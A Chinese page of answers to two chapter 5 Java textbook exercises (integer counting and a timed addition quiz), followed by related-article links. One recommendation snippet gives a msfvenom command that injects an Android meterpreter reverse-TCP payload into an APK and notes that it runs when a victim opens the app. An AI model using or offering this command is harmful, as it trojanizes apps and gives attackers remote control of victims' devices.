Java语言程序设计基础篇第10版第5章习题答案
5.1
1 public class Demo {
public static void main(String[] args) {
// 创建一个输入对象
java.util.Scanner input = new java.util.Scanner(System.in);
System.out.print("Enter an integer,the input ends if it is 0: ");
//输入一串整数以空格隔开,如果输入0,程序结束
int num = input.nextInt();
//定义正数与负数的个数变量,定义输入值得总和(不包括0)
int positiveNum = 0, negativeNum = 0;
double sum = 0;
//判断输入的第一个整数是否为0,如果不是,继续判断,如果是,直接else
if (num != 0) {
//读入的整数计算正数个数、负数个数、总和,直到读入为0跳出循环
while (num != 0) {
if (num > 0)
positiveNum++;
else
negativeNum++;
sum += num;
num = input.nextInt();
}
//输出相应的正数、负数、总和和平均数的值
System.out.println("The number of positives is " + positiveNum);
System.out.println("The number of negatives is " + negativeNum);
System.out.println("The total is " + sum);
System.out.println("The average is " + sum
/ (positiveNum + negativeNum));
}else
System.out.println("No numbers are entered except 0");
}
}
5.2
1 public class Demo {
public static void main(String[] args) {
// 定义问题的数量为10
final int NUMBER_OF_QUESTIONS = 10;
// 定义变量存放正确的个数,定义变量存放循环次数
int correctCount = 0;
int count = 1;
// 定义开始时间
long startTime = System.currentTimeMillis();
// 创建一个输入对象
java.util.Scanner input = new java.util.Scanner(System.in);
// 随机产生两个整数,循环10次
while (count <= 10) {
// 定义两个整数变量,存放随机产生的1~15内的整数
int num1 = (int) (Math.random() * 15) + 1;
int num2 = (int) (Math.random() * 15) + 1;
// 输入答案
System.out.print("What is " + num1 + " + " + num2 + "? ");
int answer = input.nextInt();
// 如果回答正确,正确的个数加一,回答不正确,输出正确的结果
if (num1 + num2 == answer) {
System.out.println("You are correct!");
correctCount++;
} else
System.out.println("Your answer is wrong.\n" + num1 + " + "
+ num2 + " should be " + (num1 + num2));
// 循环次数加一
count++;
}
// 定义结束时间
long endTime = System.currentTimeMillis();
// 计算测验时间
long testTime = endTime - startTime;
// 输出正确答案的个数与测验时间(单位秒)
System.out.println("Correct count is " + correctCount
+ "\nTest time is " + testTime / 1000 + " seconds");
}
}
Java语言程序设计基础篇第10版第5章习题答案的更多相关文章
- 0031 Java学习笔记-梁勇著《Java语言程序设计-基础篇 第十版》英语单词
第01章 计算机.程序和Java概述 CPU(Central Processing Unit) * 中央处理器 Control Unit * 控制单元 arithmetic/logic unit /ə ...
- python语言程序设计基础(嵩天)第四章课后习题部分答案
p121: *题4.1:猜数字游戏.在程序中预设一个0~9之间的整数,让用户通过键盘输入所猜的数,如果大于预设的数,显示“遗憾,太大了!”:小于预设的数,显示“遗憾,太小了!”,如此循环,直至猜中该数 ...
- python语言程序设计基础(嵩天)第三章课后习题部分个人练习
p69: *题3.5: 源代码: (1)print(30-3**2+8//3**2*10) 答案:21 (2)print(3*4**2/8%5) 答案:1.0 (3)print(2** ...
- java程序设计基础篇 复习笔记 第一单元
java语言程序设计基础篇笔记1. 几种有名的语言COBOL:商业应用FORTRAN:数学运算BASIC:易学易用Visual Basic,Delphi:图形用户界面C:汇编语言的强大功能和易学性,可 ...
- C语言程序设计基础-第1周作业-初步
1.安装带有计算机术语的翻译软件 2.在自己电脑上安装C编译器,windows系统建议安装dev-c++,其他系统自行查找. 3.加入课程小组,有任何疑问可以在小组中提问:https://group. ...
- C语言程序设计基础知识点概括
C语言程序设计基础知识点概括 C语言程序设计基础知识点1.函数是C语言的基本构成单位.main函数是C语言程序的唯一入口.2.C语言程序开发过程. 编译过程:将以.c或.cpp结尾的源程序文件经过编译 ...
- L脚本语言语法手冊 0.10版
L脚本语言语法手冊 0.10版 简 介 L脚本语言是一个轻量级的,旨在接近自然语言的编程语言,眼下支持在中文.英文基础上的编程.并可扩展为随意语种.L脚本语言的语法结构简单.程序结构相对 ...
- C语言程序设计基础
C语言程序设计基础 目录 C语言 C语言基础 C语言编程注意 C语言 C语言基础 C语言编程注意 0<9<9和0<9&&9<9是不同的 数组的声明和定义 con ...
- 《C语言程序设计基础1》第二学期第一周学习总结
**<C语言程序设计基础1>第二学期第一周学习总结 一. 本周学习内容总结 一维数组,了解了一维数组的定义(定义一个数组,需要明确数组变量名,数组元素的类型和数组大小,即数组中元素的数量) ...
随机推荐
- msf向存在漏洞的apk注入payload
命令:msfvenom -x /路径/apk -p android/meterpreter/reverse_tcp LHOST=ip LPORT=端口 只要别人一打开这个被注入payload后的软件就 ...
- CSS3中nth-of-type和nth-last-of-type
1.使用nth-child和nth-last-child时会产生的问题 在使用nth-child和nth-last-child时,其计算子元素是奇数个元素还是第偶数个元素时,是连同父元素中的所有子元素 ...
- JSZX_HC_2016_R5
#1 ccz 200 #2 CTL 130 #3 KPM 130 本来以为准备挺充分的,开始后还是出现一些状况 >_< 好在还算顺利…… A AC人数:4 平均分:70 题目描述 给定 ...
- DP入门
数塔HDU2084 #include <iostream> #include <algorithm> #include <cstdio> #include < ...
- 在echarts3中使用字符云
echarts2的官方API里是带有字符云的,但到了echarts3就被从官网上移除了,想要使用的话可以从github上下载: 下载地址:https://github.com/ecomfe/echar ...
- Spider_Man_5.2 の Mongodb_使用
一:简介 MongoDB是一款强大.灵活.且易于扩展的通用型数据库1.易用性 MongoDB是一个面向文档(document-oriented)的数据库,而不是关系型数据库.不采用关系型主要是为了获得 ...
- Web前端性能优化——如何提高页面加载速度
前言: 在同样的网络环境下,两个同样能满足你的需求的网站,一个"Duang"的一下就加载出来了,一个纠结了半天才出来,你会选择哪个?研究表明:用户最满意的打开网页时间是2-5秒, ...
- 怎么看vue版本
查看vue版本号是 vue -V 而不是npm vue -v ,npm vue -v 等同于npm -v vue -V: 后面那个V是大写的.
- 版本控制——TortoiseSVN (1)安装与配置
=================================版权声明================================= 版权声明:原创文章 禁止转载 请通过右侧公告中的“联系邮 ...
- ::在c++中什么意思
(1)表示“域操作符” 例:声明了一个类A,类A里声明了一个成员函数void f(),但没有在类的声明里给出f的定义,那么在类外定义f时, 就要写成void A::f(),表示这个f()函数是类A的成 ...